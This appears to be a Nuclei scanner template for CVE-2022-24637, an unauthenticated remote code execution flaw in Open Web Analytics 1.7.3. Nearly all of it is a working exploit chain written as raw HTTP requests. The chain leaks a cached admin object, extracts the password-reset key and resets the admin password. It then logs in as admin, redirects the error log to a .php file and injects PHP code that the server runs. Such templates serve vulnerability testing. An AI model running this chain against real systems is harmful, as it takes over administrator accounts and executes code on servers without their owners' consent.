id: CVE-2022-24637

info:
  name: Open Web Analytics 1.7.3 - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated remote attacker to obtain sensitive user information, which can be used to gain admin privileges by leveraging cache hashes. This occurs because files generated with '<?php (instead of the intended "<?php sequence) aren't handled by the PHP interpreter.
  reference:
    - https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/open_web_analytics_rce.rb
    - http://packetstormsecurity.com/files/171389/Open-Web-Analytics-1.7.3-Remote-Code-Execution.html
    - https://github.com/Open-Web-Analytics/Open-Web-Analytics/releases/tag/1.7.4
    - https://github.com/Pflegusch/CVE-2022-24637
    - https://github.com/c0derpwner/HTB-pwned
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-24637
    cwe-id: CWE-269
    epss-score: 0.84852
    epss-percentile: 0.98585
    cpe: cpe:2.3:a:openwebanalytics:open_web_analytics:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 6
    vendor: openwebanalytics
    product: open_web_analytics
    shodan-query: cpe:"cpe:2.3:a:openwebanalytics:open_web_analytics"
  tags: cve,cve2022,packetstorm,rce,intrusive,open-web-analytics

variables:
  password: "{{randbase(8)}}@123!"
  secret: "{{randstr}}"
  secret_b64: "{{base64(secret)}}"

flow: |
  http(1);
  http(2);
  javascript();
  http(3);
  http(4); http(5); http(6); http(7);

javascript:
  - code: |
          idx=serobj.indexOf('temp_passkey');
          passubstr=serobj.substring(idx,idx+120);
          temp_pass=(passubstr.match(/s:32:"([a-f0-9]{32})"/)[1])
          temp_pass

    args:
      serobj: "{{base64_decode(serializedobj)}}"

http:
  - raw:
      - |
        POST /index.php?owa_do=base.loginForm&owa_site_id=& HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        owa_user_id=admin&owa_password=wrong+password+xyz&owa_go=&owa_action=base.login&owa_submit_btn=Login

    matchers:
      - type: word
        part: body
        words:
          - "Login Failed"
        internal: true

  - raw:
      - |
        GET /owa-data/caches/1/owa_user/c30da9265ba0a4704db9229f864c9eb7.php HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        group: 1
        name: serializedobj
        internal: true
        regex:
          - '<\?php\\n\/\*([A-Za-z0-9=]+)\*\/\\n\?>'

    matchers:
      - type: word
        part: body
        words:
          - <?php\n
        internal: true

  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        owa_password={{password}}&owa_password2={{password}}&owa_k={{javascript_response}}&owa_action=base.usersChangePassword&owa_submit_btn=Save+Your+New+Password

    matchers:
      - type: dsl
        dsl:
          - "contains(location,'owa_status_code=3006')"
          - "status_code==302"
        internal: true
        condition: and

  - raw:
      - |
        POST /index.php?owa_do=base.loginForm&owa_site_id=& HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        owa_user_id=admin&owa_password={{password}}&owa_go=&owa_action=base.login&owa_submit_btn=Login

    matchers:
      - type: dsl
        dsl:
          - "contains(set_cookie,'owa_p')"
          - "status_code==302"
        internal: true
        condition: and

  - raw:
      - |
        GET /index.php?owa_do=base.optionsGeneral HTTP/1.1
        Cookie: owa_p={{http_4_owa_p}};owa_u=admin;
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        group: 1
        name: nonce
        internal: true
        regex:
          - 'name="owa_nonce" value="([a-z0-9]+)">'

  - raw:
      - |
        POST /index.php?owa_do=base.optionsGeneral HTTP/1.1
        Host: {{Hostname}}
        Cookie: owa_p={{http_4_owa_p}};owa_u=admin;
        Content-Type: application/x-www-form-urlencoded

        owa_action=base.optionsUpdate&owa_nonce={{nonce}}&owa_config[base.error_log_file]=owa-data/caches/{{randstr}}.php&owa_config[base.error_log_level]=2

  - raw:
      - |
        POST /index.php?owa_do=base.optionsGeneral HTTP/1.1
        Host: {{Hostname}}
        Cookie: owa_p={{http_4_owa_p}};owa_u=admin;
        Content-Type: application/x-www-form-urlencoded

        owa_action=base.optionsUpdate&owa_nonce={{nonce}}&owa_config[shell]=<?php+echo base64_decode('{{secret_b64}}');?>

      - |
        GET /owa-data/caches/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '[debug_log]'
          - "{{secret}}"
        condition: and
# digest: 4b0a00483046022100c7b1930116a49baaebd470a912b9035b404ffd8794af7a309067267476bae5d6022100b622798099ec295e557ed4235e94501d64a4c0fa998058e07db3e2774b129793:922c64590222798bb761d5b6d8e72950